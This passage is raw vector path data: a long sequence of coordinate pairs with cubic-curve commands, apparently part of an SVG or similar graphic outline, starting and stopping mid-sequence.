105569.67 132233.00 105580.33 132233.00 105591.00C132265.33 105591.00 132297.67 105591.00 132330.00 105591.00C132340.67 105601.67 132351.33 105612.33 132362.00 105623.00C132383.33 105612.33 132404.67 105601.67 132426.00 105591.00C132458.33 105591.00 132490.67 105591.00 132523.00 105591.00C132523.00 105580.33 132523.00 105569.67 132523.00 105559.00C132544.60 105537.59 132565.92 105515.92 132587.00 105494.00C132587.00 105483.33 132587.00 105472.67 132587.00 105462.00C132597.67 105462.00 132608.33 105462.00 132619.00 105462.00C132619.00 105451.33 132619.00 105440.67 132619.00 105430.00C132640.33 105430.00 132661.67 105430.00 132683.00 105430.00C132683.00 105408.67 132683.00 105387.33 132683.00 105366.00C132693.67 105376.67 132704.33 105387.33 132715.00 105398.00C132726.00 105398.00 132737.00 105398.00 132748.00 105398.00C132758.67 105387.33 132769.33 105376.67 132780.00 105366.00C132769.33 105366.00 132758.67 105366.00 132748.00 105366.00C132758.67 105366.00 132769.33 105366.00 132780.00 105366.00C132769.33 105355.33 132758.67 105344.67 132748.00 105334.00C132758.67 105334.00 132769.33 105334.00 132780.00 105334.00C132769.33 105334.00 132758.67 105334.00 132748.00 105334.00C132748.00 105323.33 132748.00 105312.67 132748.00 105302.00C132758.67 105302.00 132769.33 105302.00 132780.00 105302.00C132769.33 105302.00 132758.67 105302.00 132748.00 105302.00C132758.67 105280.33 132769.33 105258.67 132780.00 105237.00C132790.67 105247.67 132801.33 105258.33 132812.00 105269.00C132812.00 105258.33 132812.00 105247.67 132812.00 105237.00C132822.67 105237.00 132833.33 105237.00 132844.00 105237.00C132844.00 105226.33 132844.00 105215.67 132844.00 105205.00C132854.67 105205.00 132865.33 105205.00 132876.00 105205.00C132886.67 105194.33 132897.33 105183.67 132908.00 105173.00C132897.33 105173.00 132886.67 105173.00 132876.00 105173.00C132886.67 105173.00 132897.33 105173.00 132908.00 105173.00C132918.67 105183.67 132929.33 105194.33 132940.00 105205.00C132929.33 105226.33 132918.67 105247.67 132908.00 105269.00C132929.67 105258.33 132951.33 105247.67 132973.00 105237.00C133004.94 105269.39 133036.72 105301.94 133069.00 105334.00C133079.67 105323.33 133090.33 105312.67 133101.00 105302.00C133111.67 105312.67 133122.33 105323.33 133133.00 105334.00C133149.44 105318.43 133164.76 105301.46 133183.60 105288.66C133220.40 105260.77 133257.20 105232.89 133294.00 105205.00C133446.12 105172.40 133598.38 105140.38 133750.42 105107.39C133962.61 105054.26 134174.81 105001.13 134387.00 104948.00C134408.67 104948.00 134430.33 104948.00 134452.00 104948.00C134452.00 104937.33 134452.00 104926.67 134452.00 104916.00C134462.67 104905.33 134473.33 104894.67 134484.00 104884.00C134484.00 104862.33 134484.00 104840.67 134484.00 104819.00C134451.67 104765.33 134419.33 104711.67 134387.00 104658.00C134398.00 104647.33 134409.00 104636.67 134420.00 104626.00C134409.00 104615.33 134398.00 104604.67 134387.00 104594.00C134408.67 104551.33 134430.33 104508.67 134452.00 104466.00C134430.33 104412.33 134408.67 104358.67 134387.00 104305.00C134387.00 104272.67 134387.00 104240.33 134387.00 104208.00C134355.00 104176.00 134323.00 104144.00 134291.00 104112.00C134269.67 104069.00 134248.33 104026.00 134227.00 103983.00C134237.67 103929.33 134248.33 103875.67 134259.00 103822.00C134248.33 103800.67 134237.67 103779.33 134227.00 103758.00C134237.67 103736.67 134248.33 103715.33 134259.00 103694.00C134259.00 103683.33 134259.00 103672.67 134259.00 103662.00C134216.00 103651.33 134173.00 103640.67 134130.00 103630.00C134130.00 103619.00 134130.00 103608.00 134130.00 103597.00C134119.33 103597.00 134108.67 103597.00 134098.00 103597.00C134076.67 103575.67 134055.33 103554.33 134034.00 103533.00C134001.67 103522.33 133969.33 103511.67 133937.00 103501.00C133894.33 103468.67 133851.67 103436.33 133809.00 103404.00C133809.00 103329.00 133809.00 103254.00 133809.00 103179.00C133830.33 103114.67 133851.67 103050.33 133873.00 102986.00C133873.00 102922.00 133873.00 102858.00 133873.00 102794.00C133905.13 102750.90 133937.11 102707.69 133969.34 102664.66C133990.90 102643.44 134012.45 102622.22 134034.00 102601.00C134056.68 102590.01 134078.82 102577.85 134101.87 102567.68C134132.58 102557.11 134163.29 102546.56 134194.00 102536.00C134215.67 102514.67 134237.33 102493.33 134259.00 102472.00C134259.00 102461.33 134259.00 102450.67 134259.00 102440.00C134226.67 102429.33 134194.33 102418.67 134162.00 102408.00C134183.67 102386.33 134205.33 102364.67 134227.00 102343.00C134248.33 102343.00 134269.67 102343.00 134291.00 102343.00C134301.67 102300.33 134312.33 102257.67 134323.00 102215.00C134269.33 102150.67 134215.67 102086.33 134162.00 102022.00C134130.00 102022.00 134098.00 102022.00 134066.00 102022.00C134066.00 101947.00 134066.00 101872.00 134066.00 101797.00C134044.67 101797.00 134023.33 101797.00 134002.00 101797.00C133969.13 101828.45 133937.19 101860.86 133905.00 101893.00C133883.67 101850.33 133862.33 101807.67 133841.00 101765.00C133851.67 101754.33 133862.33 101743.67 133873.00 101733.00C133862.33 101700.67 133851.67 101668.33 133841.00 101636.00C133873.00 101593.00 133905.00 101550.00 133937.00 101507.00C133948.39 101473.91 133958.48 101440.34 133970.73 101407.58C134002.54 101344.41 134034.46 101281.30 134066.00 101218.00C134076.67 101207.33 134087.33 101196.67 134098.00 101186.00C134076.67 101175.33 134055.33 101164.67 134034.00 101154.00C134034.00 101132.33 134034.00 101110.67 134034.00 101089.00C134012.33 101078.33 133990.67 101067.67 133969.00 101057.00C133947.67 101035.67 133926.33 101014.33 133905.00 100993.00C133905.00 100971.67 133905.00 100950.33 133905.00 100929.00C133916.94 100917.78 133927.51 100904.97 133940.41 100894.86C134024.94 100841.91 134109.47 100788.95 134194.00 100736.00C134205.00 100714.33 134216.00 100692.67 134227.00 100671.00C134285.07 100682.66 134342.89 100695.58 134401.13 100706.35C134460.75 100716.23 134520.38 100726.12 134580.00 100736.00C134623.17 100757.34 134666.22 100778.93 134709.47 100800.12C134752.45 100810.85 134795.50 100821.30 134838.43 100832.22C134881.12 100853.84 134923.72 100875.63 134966.46 100897.15C134998.64 100907.77 135030.82 100918.38 135063.00 100929.00C135105.83 100961.05 135148.51 100993.29 135191.43 101025.21C135234.39 101046.27 135277.25 101067.53 135320.00 101089.00C135352.00 101078.33 135384.00 101067.67 135416.00 101057.00C135426.81 101056.86 135437.63 101057.29 135448.43 101056.79C135469.95 101046.19 135491.48 101035.60 135513.00 101025.00C135534.33 101035.67 135555.67 101046.33 135577.00 101057.00C135609.00 101025.00 135641.00 100993.00 135673.00 100961.00C135684.00 100961.00 135695.00 100961.00 135706.00 100961.00C135727.33 100939.67 135748.67 100918.33 135770.00 100897.00C135780.81 100897.15 135791.63 100896.71 135802.43 100897.22C135823.62 100907.81 135844.81 100918.41 135866.00 100929.00C135877.00 100918.33 135888.00 100907.67 135899.00 100897.00C135888.00 100854.00 135877.00 100811.00 135866.00 100768.00C135855.33 100757.33 135844.67 100746.67 135834.00 100736.00C135834.00 100725.33 135834.00 100714.67 135834.00 100704.00C135812.67 100693.00 135791.33 100682.00 135770.00 100671.00C135780.67 100639.00 135791.33 100607.00 135802.00 100575.00C135812.67 100564.33 135823.33 100553.67 135834.00 100543.00C135834.00 100521.67 135834.00 100500.33 135834.00 100479.00C135812.57 100467.85 135790.97 100457.03 135769.66 100445.66C135759.11 100435.11 135748.55 100424.55 135738.00 100414.00C135738.00 100392.67 135738.00 100371.33 135738.00 100350.00C135727.33 100328.67 135716.67 100307.33 135706.00 100286.00C135716.67 100232.33 135727.33 100178.67 135738.00 100125.00C135752.49 100095.11 135769.02 100066.11 135780.41 100034.82C135798.27 99989.88 135816.14 99944.94 135834.00 99900.00C135812.67 99867.66 135791.33 99835.34 135770.00 99803.00C135759.18 99802.90 135748.36 99803.20 135737.54 99802.85C135705.36 99792.23 135673.18 99781.62 135641.00 99771.00C135641.00 99749.67 135641.00 99728.33 135641.00 99707.00C135630.33 99685.67 135619.67 99664.33 135609.00 99643.00C135609.00 99621.33 135609.00 99599.67 135609.00 99578.00C135641.33 99556.66 135673.67 99535.34 135706.00 99514.00C135706.00 99482.00 135706.00 99450.00 135706.00 99418.00C135716.82 99417.89 135727.64 99418.21 135738.46 99417.84C135770.31 99406.90 135802.15 99395.95 135834.00 99385.00C135855.41 99363.41 135877.08 99342.07 135899.00 99321.00C135888.00 99299.67 135877.00 99278.33 135866.00 99257.00C135877.00 99235.33 135888.00 99213.67 135899.00 99192.00C135920.33 99203.00 135941.67 99214.00 135963.00 99225.00C135995.00 99214.00 136027.00 99203.00 136059.00 99192.00C136059.11 99203.15 136058.79 99214.31 136059.16 99225.46C136070.11 99257.30 136081.05 99289.15 136092.00 99321.00C136124.00 99321.00 136156.00 99321.00 136188.00 99321.00C136209.33 99353.34 136230.67 99385.66 136252.00 99418.00C136295.00 99439.33 136338.00 99460.67 136381.00 99482.00C136423.67 99524.66 136466.33 99567.34 136509.00 99610.00C136520.00 99610.00 136531.00 99610.00 136542.00 99610.00C136552.67 99621.00 136563.33 99632.00 136574.00 99643.00C136584.82 99643.10 136595.64 99642.79 136606.46 99643.15C136638.31 99653.76 136670.15 99664.39 136702.00 99675.00C136702.00 99696.33 136702.00 99717.67 136702.00 99739.00C136723.67 99739.00 136745.33 99739.00 136767.00 99739.00C136767.00 99792.67 136767.00 99846.33 136767.00 99900.00C136777.67 99910.66 136788.33 99921.34 136799.00 99932.00C136820.33 99932.00 136841.67 99932.00 136863.00 99932.00C136852.33 99964.00 136841.67 99996.00 136831.00 100028.00C136820.33 100039.00 136809.67 100050.00 136799.00 100061.00C136798.85 100071.81 136799.29 100082.63 136798.78 100093.43C136788.19 100114.62 136777.59 100135.81 136767.00 100157.00C136777.67 100157.00 136788.33 100157.00 136799.00 100157.00C136809.67 100167.67 136820.33 100178.33 136831.00 100189.00C136852.33 100189.00 136873.67 100189.00 136895.00 100189.00C136895.00 100210.33 136895.00 100231.67 136895.00 100253.00C136906.00 100264.00 136917.00 100275.00 136928.00 100286.00C136970.67 100286.00 137013.33 100286.00 137056.00 100286.00C137077.33 100275.00 137098.67 100264.00 137120.00 100253.00C137141.67 100253.00 137163.33 100253.00 137185.00 100253.00C137195.67 100285.33 137206.33 100317.67 137217.00 100350.00C137238.33 100350.00 137259.67 100350.00 137281.00 100350.00C137281.00 100339.33 137281.00 100328.67 137281.00 100318.00C137291.81 100318.15 137302.63 100317.71 137313.43 100318.22C137356.29 100339.48 137399.14 100360.74 137442.00 100382.00C137474.00 100350.00 137506.00 100318.00 137538.00 100286.00C137527.33 100253.67 137516.67 100221.33 137506.00 100189.00C137516.67 100189.00 137527.33 100189.00 137538.00 100189.00C137538.00 100199.67 137538.00 100210.33 137538.00 100221.00C137559.67 100242.67 137581.33 100264.33 137603.00 100286.00C137613.67 100286.00 137624.33 100286.00 137635.00 100286.00C137645.67 100275.00 137656.33 100264.00 137667.00 100253.00C137688.33 100253.00 137709.67 100253.00 137731.00 100253.00C137742.00 100274.67 137753.00 100296.33 137764.00 100318.00C137796.00 100318.00 137828.00 100318.00 137860.00 100318.00C137870.67 100307.33 137881.33 100296.67 137892.00 100286.00C137902.67 100243.00 137913.33 100200.00 137924.00 100157.00C137945.67 100167.67 137967.33 100178.33 137989.00 100189.00C138010.64 100156.13 138033.05 100123.74 138054.20 100090.57C138064.47 100069.71 138074.73 100048.85 138085.00 100028.00C138095.67 100028.00 138106.33 100028.00 138117.00 100028.00C138117.00 100039.00 138117.00 100050.00 138117.00 100061.00C138138.33 100061.00 138159.67 100061.00 138181.00 100061.00C138213.33 100093.00 138245.67 100125.00 138278.00 100157.00C138267.33 100200.00 138256.67 100243.00 138246.00 100286.00C138267.33 100286.00 138288.67 100286.00 138310.00 100286.00C138320.67 100307.33 138331.33 100328.67 138342.00 100350.00C138374.33 100360.67 138406.67 100371.33 138439.00 100382.00C138439.00 100457.00 138439.00 100532.00 138439.00 100607.00C138428.33 100617.67 138417.67 100628.33 138407.00 100639.00C138407.00 100703.33 138407.00 100767.67 138407.00 100832.00C138342.67 100896.33 138278.33 100960.67 138214.00 101025.00C138214.00 101046.33 138214.00 101067.67 138214.00 101089.00C138192.33 101100.00 138170.67 101111.00 138149.00 101122.00C138149.00 101143.33 138149.00 101164.67 138149.00 101186.00C138127.67 101196.67 138106.33 101207.33 138085.00 101218.00C138074.33 101239.33 138063.67 101260.67 138053.00 101282.00C138053.00 101293.00 138053.00 101304.00 138053.00 101315.00C138063.67 101325.67 138074.33 101336.33 138085.00 101347.00C138085.00 101368.33 138085.00 101389.67 138085.00 101411.00C138074.33 101421.67 138063.67 101432.33 138053.00 101443.00C138053.00 101453.67 138053.00 101464.33 138053.00 101475.00C138031.67 101485.67 138010.33 101496.33 137989.00 101507.00C137967.33 101507.00 137945.67 101507.00 137924.00 101507.00C137924.00 101518.00 137924.00 101529.00 137924.00 101540.00C137902.67 101540.00 137881.33 101540.00 137860.00 101540.00C137849.33 101550.67 137838.67 101561.33 137828.00 101572.00C137795.67 101572.00 137763.33 101572.00 137731.00 101572.00C137731.00 101593.33 137731.00 101614.67 137731.00 101636.00C137763.33 101657.33 137795.67 101678.67 137828.00 101700.00C137828.00 101732.33 137828.00 101764.67 137828.00 101797.00C137838.67 101818.33 137849.33 101839.67 137860.00 101861.00C137870.67 101850.33 137881.33 101839.67 137892.00 101829.00C137892.15 101839.81 137891.71 101850.63 137892.22 101861.43C137902.81 101882.62 137913.41 101903.81 137924.00 101925.00C137967.00 101914.33 138010.00 101903.67 138053.00 101893.00C138042.33 101882.33 138031.67 101871.67 138021.00 101861.00C138053.00 101829.00 138085.00 101797.00 138117.00 101765.00C138117.00 101743.33 138117.00 101721.67 138117.00 101700.00C138127.67 101689.33 138138.33 101678.67 138149.00 101668.00C138149.00 101646.67 138149.00 101625.33 138149.00 101604.00C138224.00 101604.00 138299.00 101604.00 138374.00 101604.00C138385.00 101571.67 138396.00 101539.33 138407.00 101507.00C138396.00 101496.33 138385.00 101485.67 138374.00 101475.00C138395.67 101475.00 138417.33 101475.00 138439.00 101475.00C138439.00 101443.00 138439.00 101411.00 138439.00 101379.00C138460.33 101357.67 138481.67 101336.33 138503.00 101315.00C138556.67 101304.00 138610.33 101293.00 138664.00 101282.00C138739.00 101325.00 138814.00 101368.00 138889.00 101411.00C138899.67 101400.33 138910.33 101389.67 138921.00 101379.00C138931.67 101379.00 138942.33 101379.00 138953.00 101379.00C138953.00 101368.33 138953.00 101357.67 138953.00 101347.00C138974.33 101347.00 138995.67 101347.00 139017.00 101347.00C139028.00 101336.33 139039.00 101325.67 139050.00 101315.00C139060.67 101315.00 139071.33 101315.00 139082.00 101315.00C139082.00 101293.33 139082.00 101271.67 139082.00 101250.00C139092.67 101250.00 139103.33 101250.00 139114.00 101250.00C139114.00 101239.33 139114.00 101228.67 139114.00 101218.00C139124.67 101218.00 139135.33 101218.00 139146.00 101218.00C139156.67 101207.33 139167.33 101196.67 139178.00 101186.00C139199.67 101196.67 139221.33 101207.33 139243.00 101218.00C139264.33 101207.33 139285.67 101196.67 139307.00 101186.00C139328.33 101196.67 139349.67 101207.33 139371.00 101218.00C139424.67 101218.00 139478.33 101218.00 139532.00 101218.00C139542.67 101207.33 139553.33 101196.67 139564.00 101186.00C139564.00 101196.67 139564.00 101207.33 139564.00 101218.00C139564.00 101207.33 139564.00 101196.67 139564.00 101186.00C139574.67 101186.00 139585.33 101186.00 139596.00 101186.00C139596.00 101175.33 139596.00 101164.67 139596.00 101154.00C139606.67 101154.00 139617.33 101154.00 139628.00 101154.00C139628.00 101132.33 139628.00 101110.67 139628.00 101089.00C139639.00 101100.00 139650.00 101111.00 139661.00 101122.00C139661.00 101111.00 139661.00 101100.00 139661.00 101089.00C139693.00 101089.00 139725.00 101089.00 139757.00 101089.00C139757.00 101078.33 139757.00 101067.67 139757.00 101057.00C139778.33 101057.00 139799.67 101057.00 139821.00 101057.00C139821.00 101046.33 139821.00 101035.67 139821.00 101025.00C139842.97 100992.13 139865.75 100959.77 139887.20 100926.57C139897.47 100905.71 139907.73 100884.85 139918.00 100864.00C139907.33 100853.33 139896.67 100842.67 139886.00 100832.00C139896.67 100810.67 139907.33 100789.33 139918.00 100768.00C139928.67 100768.00 139939.33 100768.00 139950.00 100768.00C139950.00 100778.67 139950.00 100789.33 139950.00 100800.00C139960.67 100768.00 139971.33 100736.00 139982.00 100704.00C139992.67 100714.67 140003.33 100725.33 140014.00 100736.00C140014.00 100746.67 140014.00 100757.33 140014.00 100768.00C140035.67 100757.33 140057.33 100746.67 140079.00 100736.00C140089.67 100725.33 140100.33 100714.67 140111.00 100704.00C140121.67 100671.67 140132.33 100639.33 140143.00 100607.00C140153.67 100607.00 140164.33 100607.00 140175.00 100607.00C140175.00 100596.33 140175.00 100585.67 140175.00 100575.00C140185.67 100575.00 140196.33 100575.00 140207.00 100575.00C140207.00 100553.67 140207.00 100532.33 140207.00 100511.00C140217.67 100521.67 140228.33 100532.33 140239.00 100543.00C140239.00 100532.33 140239.00 100521.67 140239.00 100511.00C140271.33 100478.67 140303.67 100446.33 140336.00 100414.00C140336.00 100403.33 140336.00 100392.67 140336.00 100382.00C140357.33 100382.00 140378.67 100382.00 140400.00 100382.00C140410.67 100371.33 140421.33 100360.67 140432.00 100350.00C140453.67 100350.00 140475.33 100350.00 140497.00 100350.00C140518.33 100371.33 140539.67 100392.67 140561.00 100414.00C140571.81 100413.85 140582.63 100414.29 140593.43 100413.78C140614.62 100403.19 140635.81 100392.59 140657.00 100382.00C140678.67 100403.33 140700.33 100424.67 140722.00 100446.00C140754.00 100424.67 140786.00 100403.33 140818.00 100382.00C140828.67 100382.00 140839.33 100382.00 140850.00 100382.00C140850.00 100392.67 140850.00 100403.33 140850.00 100414.00C140860.67 100414.00 140871.33 100414.00 140882.00 100414.00C140882.00 100403.33 140882.00 100392.67 140882.00 100382.00C140893.00 100371.33 140904.00 100360.67 140915.00 100350.00C140904.00 100350.00 140893.00 100350.00 140882.00 100350.00C140903.67 100339.33 140925.33 100328.67 140947.00 100318.00C140957.67 100296.33 140968.33 100274.67 140979.00 100253.00C140989.67 100253.00 141000.33 100253.00 141011.00 100253.00C141011.00 100264.00 141011.00 100275.00 141011.00 100286.00C141021.67 100286.00 141032.33 100286.00 141043.00 100286.00C141075.85 100263.59 141109.47 100242.24 141141.83 100219.17C141173.22 100187.78 141204.61 100156.39 141236.00 100125.00C141246.67 100125.00 141257.33 100125.00 141268.00 100125.00C141268.00 100103.67 141268.00 100082.33 141268.00 100061.00C141278.67 100050.00 141289.33 100039.00 141300.00 100028.00C141300.00 100017.33 141300.00 100006.67 141300.00 99996.00C141310.67 100006.67 141321.33 100017.33 141332.00 100028.00C141343.00 100028.00 141354.00 100028.00 141365.00 100028.00C141365.00 100006.67 141365.00 99985.33 141365.00 99964.00C141397.00 99964.00 141429.00 99964.00 141461.00 99964.00C141471.67 99942.67 141482.33 99921.33 141493.00 99900.00C141503.67 99910.66 141514.33 99921.34 141525.00 99932.00C141536.00 99910.67 141547.00 99889.33 141558.00 99868.00C141547.00 99846.33 141536.00 99824.67 141525.00 99803.00C141536.00 99813.67 141547.00 99824.33 141558.00 99835.00C141568.67 99835.00 141579.33 99835.00 141590.00 99835.00C141590.00 99824.33 141590.00 99813.67 141590.00 99803.00C141622.00 99803.00 141654.00 99803.00 141686.00 99803.00C141675.33 99792.34 141664.67 99781.66 141654.00 99771.00C141654.00 99760.33 141654.00 99749.67 141654.00 99739.00C141675.33 99728.33 141696.67 99717.67 141718.00 99707.00C141729.00 99685.67 141740.00 99664.33 141751.00 99643.00C141761.67 99653.66 141772.33 99664.34 141783.00 99675.00C141793.67 99653.34 141804.33 99631.66 141815.00 99610.00C141825.67 99599.34 141836.33 99588.66 141847.00 99578.00C141857.67 99588.66 141868.33 99599.34 141879.00 99610.00C141900.33 99588.66 141921.67 99567.34 141943.00 99546.00C141943.00 99524.67 141943.00 99503.33 141943.00 99482.00C141964.67 99471.34 141986.33 99460.66 142008.00 99450.00C142018.67 99428.34 142029.33 99406.66 142040.00 99385.00C142072.00 99396.00 142104.00 99407.00 142136.00 99418.00C142136.00 99407.00 142136.00 99396.00 142136.00 99385.00C142157.67 99385.00 142179.33 99385.00 142201.00 99385.00C142201.00 99374.33 142201.00 99363.67 142201.00 99353.00C142222.33 99342.33 142243.67 99331.67 142265.00 99321.00C142254.33 99331.66 142243.67 99342.34 142233.00 99353.00C142254.33 99363.67 142275.67 99374.33 142297.00 99385.00C142394.17 99395.91 142491.27 99407.56 142588.48 99418.00C142598.66 99418.00 142608.83 99418.00 142619.00 99418.00C142633.12 99402.52 142649.83 99389.08 142660.46 99370.75C142679.26 99342.21 142698.94 99314.19 142716.91 99285.15C142737.60 99243.43 142758.31 99201.72 142779.00 99160.00C142790.00 99149.33 142801.00 99138.67 142812.00 99128.00C142812.00 99138.67 142812.00 99149.33 142812.00 99160.00C142822.67 99149.34 142833.33 99138.66 142844.00 99128.00C142844.00 99106.67 142844.00 99085.33 142844.00 99064.00C142908.33 99042.33 142972.67 99020.67 143037.00 98999.00C143037.00 98988.33 143037.00 98977.67 143037.00 98967.00C143058.33 98977.67 143079.67 98988.33 143101.00 98999.00C143101.00 98977.67 143101.00 98956.33 143101.00 98935.00C143122.33 98935.00 143143.67 98935.00 143165.00 98935.00C143154.33 98924.34 143143.67 98913.66 143133.00 98903.00C143154.33 98881.66 143175.67 98860.34 143197.00 98839.00C143208.00 98849.67 143219.00 98860.33 143230.00 98871.00C143240.67 98860.34 143251.33 98849.66 143262.00 98839.00C143272.67 98839.00 143283.33 98839.00 143294.00 98839.00C143294.00 98828.33 143294.00 98817.67 143294.00 98807.00C143304.82 98806.89 143315.64 98807.21 143326.46 98806.84C143358.31 98795.90 143390.15 98784.95 143422.00 98774.00C143422.00 98763.33 143422.00 98752.67 143422.00 98742.00C143433.00 98742.00 143444.00 98742.00 143455.00 98742.00C143455.00 98731.33 143455.00 98720.67 143455.00 98710.00C143476.33 98710.00 143497.67 98710.00 143519.00 98710.00C143529.67 98699.34 143540.33 98688.66 143551.00 98678.00C143572.33 98678.00 143593.67 98678.00 143615.00 98678.00C143615.00 98667.33 143615.00 98656.67 143615.00 98646.00C143615.00 98656.67 143615.00 98667.33 143615.00 98678.00C143636.67 98646.00 143658.33 98614.00 143680.00 98582.00C143712.00 98582.00 143744.00 98582.00 143776.00 98582.00C143776.00 98560.33 143776.00 98538.67 143776.00 98517.00C143765.33 98527.66 143754.67 98538.34 143744.00 98549.00C143733.33 98549.00 143722.67 98549.00 143712.00 98549.00C143712.00 98527.67 143712.00 98506.33 143712.00 98485.00C143722.67 98495.66 143733.33 98506.34 143744.00 98517.00C143744.00 98485.00 143744.00 98453.00 143744.00 98421.00C143754.67 98410.34 143765.33 98399.66 143776.00 98389.00C143808.33 98389.00 143840.67 98389.00 143873.00 98389.00C143862.00 98378.00 143851.00 98367.00 143840.00 98356.00C143829.33 98356.00 143818.67 98356.00 143808.00 98356.00C143818.67 98345.34 143829.33 98334.66 143840.00 98324.00C143829.33 98313.34 143818.67 98302.66 143808.00 98292.00C143818.67 98292.00 143829.33 98292.00 143840.00 98292.00C143851.00 98281.33 143862.00 98270.67 143873.00 98260.00C143851.33 98249.34 143829.67 98238.66 143808.00 98228.00C143808.00 98217.33 143808.00 98206.67 143808.00 98196.00C143840.33 98206.67 143872.67 98217.33 143905.00 98228.00C143915.67 98217.34 143926.33 98206.66 143937.00 98196.00C143926.33 98185.00 143915.67 98174.00 143905.00 98163.00C143937.00 98163.00 143969.00 98163.00 144001.00 98163.00C144001.00 98152.33 144001.00 98141.67 144001.00 98131.00C144011.67 98131.00 144022.33 98131.00 144033.00 98131.00C144043.67 98120.34 144054.33 98109.66 144065.00 98099.00C144097.33 98099.00 144129.67 98099.00 144162.00 98099.00C144162.00 98088.33 144162.00 98077.67 144162.00 98067.00C144172.67 98077.66 144183.33 98088.34 144194.00 98099.00C144204.67 98088.34 144215.33 98077.66 144226.00 98067.00C144226.00 98056.33 144226.00 98045.67 144226.00 98035.00C144236.81 98034.85 144247.63 98035.29 144258.43 98034.79C144279.95 98024.18 144301.48 98013.60 144323.00 98003.00C144323.00 97981.33 144323.00 97959.67 144323.00 97938.00C144333.67 97949.00 144344.33 97960.00 144355.00 97971.00C144365.67 97949.34 144376.33 97927.66 144387.00 97906.00C144387.00 97916.67 144387.00 97927.33 144387.00 97938.00C144408.33 97938.00 144429.67 97938.00 144451.00 97938.00C144451.00 97916.67 144451.00 97895.33 144451.00 97874.00C144462.00 97874.00 144473.00 97874.00 144484.00 97874.00C144484.00 97852.67 144484.00 97831.33 144484.00 97810.00C144494.67 97810.00 144505.33 97810.00 144516.00 97810.00C144516.00 97799.33 144516.00 97788.67 144516.00 97778.00C144537.33 97799.34 144558.67 97820.66 144580.00 97842.00C144580.00 97820.67 144580.00 97799.33 144580.00 97778.00C144590.67 97788.66 144601.33 97799.34 144612.00 97810.00C144622.67 97799.34 144633.33 97788.66 144644.00 97778.00C144633.33 97767.34 144622.67 97756.66 144612.00 97746.00C144622.67 97724.34 144633.33 97702.66 144644.00 97681.00C144654.67 97681.00 144665.33 97681.00 144676.00 97681.00C144687.00 97691.67 144698.00 97702.33 144709.00 97713.00C144719.67 97702.34 144730.33 97691.66 144741.00 97681.00C144730.33 97681.00 144719.67 97681.00 144709.00 97681.00C144719.67 97670.34 144730.33 97659.66 144741.00 97649.00C144751.67 97659.66 144762.33 97670.34 144773.00 97681.00C144783.67 97649.00 144794.33 97617.00 144805.00 97585.00C144815.67 97585.00 144826.33 97585.00 144837.00 97585.00C144847.67 97574.34 144858.33 97563.66 144869.00 97553.00C144890.67 97553.00 144912.33 97553.00 144934.00 97553.00C144965.94 97520.61 144997.72 97488.06 145030.00 97456.00C145030.00 97466.67 145030.00 97477.33 145030.00 97488.00C145030.00 97477.33 145030.00 97466.67 145030.00 97456.00C145051.33 97456.00 145072.67 97456.00 145094.00 97456.00C145094.00 97445.33 145094.00 97434.67 145094.00 97424.00C145105.00 97424.00 145116.00 97424.00 145127.00 97424.00C145127.00 97413.33 145127.00 97402.67 145127.00 97392.00C145148.33 97402.67 145169.67 97413.33 145191.00 97424.00C145191.00 97402.67 145191.00 97381.33 145191.00 97360.00C145234.00 97360.00 145277.00 97360.00 145320.00 97360.00C145330.67 97349.00 145341.33 97338.00 145352.00 97327.00C145352.00 97338.00 145352.00 97349.00 145352.00 97360.00C145362.67 97349.00 145373.33 97338.00 145384.00 97327.00C145394.67 97338.00 145405.33 97349.00 145416.00 97360.00C145426.67 97360.00 145437.33 97360.00 145448.00 97360.00C145469.08 97338.08 145490.40 97316.40 145512.00 97295.00C145523.00 97295.00 145534.00 97295.00 145545.00 97295.00C145545.00 97284.33 145545.00 97273.67 145545.00 97263.00C145555.67 97273.66 145566.33 97284.34 145577.00 97295.00C145588.61 97284.10 145598.90 97271.63 145611.41 97261.79C145632.04 97251.38 145652.83 97241.30 145673.34 97230.66C145694.56 97209.44 145715.78 97188.22 145737.00 97167.00C145769.33 97156.33 145801.67 97145.67 145834.00 97135.00C145844.67 97124.00 145855.33 97113.00 145866.00 97102.00C145887.33 97102.00 145908.67 97102.00 145930.00 97102.00C145930.00 97113.00 145930.00 97124.00 145930.00 97135.00C145941.00 97124.00 145952.00 97113.00 145963.00 97102.00C145963.00 97091.33 145963.00 97080.67 145963.00 97070.00C145973.67 97080.66 145984.33 97091.34 145995.00 97102.00C146005.67 97091.34 146016.33 97080.66 146027.00 97070.00C146037.67 97070.00 146048.33 97070.00 146059.00 97070.00C146069.67 97059.34 146080.33 97048.66 146091.00 97038.00C146101.67 97038.00 146112.33 97038.00 146123.00 97038.00C146112.33 97027.34 146101.67 97016.66 146091.00 97006.00C146112.67 97006.00 146134.33 97006.00 146156.00 97006.00C146156.00 96995.33 146156.00 96984.67 146156.00 96974.00C146188.00 96963.33 146220.00 96952.67 146252.00 96942.00C146284.00 96963.33 146316.00 96984.67 146348.00 97006.00C146359.00 96995.33 146370.00 96984.67 146381.00 96974.00C146445.00 96974.00 146509.00 96974.00 146573.00 96974.00C146584.00 96995.33 146595.00 97016.67 146606.00 97038.00C146606.00 97027.33 146606.00 97016.67 146606.00 97006.00C146595.00 97006.00 146584.00 97006.00 146573.00 97006.00C146584.00 96995.33 146595.00 96984.67 146606.00 96974.00C146616.67 96984.66 146627.33 96995.34 146638.00 97006.00C146638.00 96984.67 146638.00 96963.33 146638.00 96942.00C146670.00 96942.00 146702.00 96942.00 146734.00 96942.00C146734.00 96920.33 146734.00 96898.67 146734.00 96877.00C146744.67 96888.00 146755.33 96899.00 146766.00 96910.00C146766.00 96931.33 146766.00 96952.67 146766.00 96974.00C146777.00 96974.00 146788.00 96974.00 146799.00 96974.00C146799.00 96984.67 146799.00 96995.33 146799.00 97006.00C146831.00 97006.00 146863.00 97006.00 146895.00 97006.00C146916.33 97027.34 146937.67 97048.66 146959.00 97070.00C146970.00 97070.00 146981.00 97070.00 146992.00 97070.00C146992.00 97048.67 146992.00 97027.33 146992.00 97006.00C147034.67 97016.66 147077.33 97027.34 147120.00 97038.00C147120.00 97059.33 147120.00 97080.67 147120.00 97102.00C147109.33 97102.00 147098.67 97102.00 147088.00 97102.00C147098.67 97113.00 147109.33 97124.00 147120.00 97135.00C147141.33 97124.00 147162.67 97113.00 147184.00 97102.00C147195.00 97070.00 147206.00 97038.00 147217.00 97006.00C147227.67 97006.00 147238.33 97006.00 147249.00 97006.00C147249.00 97027.33 147249.00 97048.67 147249.00 97070.00C147259.67 97080.66 147270.33 97091.34 147281.00 97102.00C147291.67 97102.00 147302.33 97102.00 147313.00 97102.00C147323.67 97091.34 147334.33 97080.66 147345.00 97070.00C147345.00 97080.67 147345.00 97091.33 147345.00 97102.00C147355.67 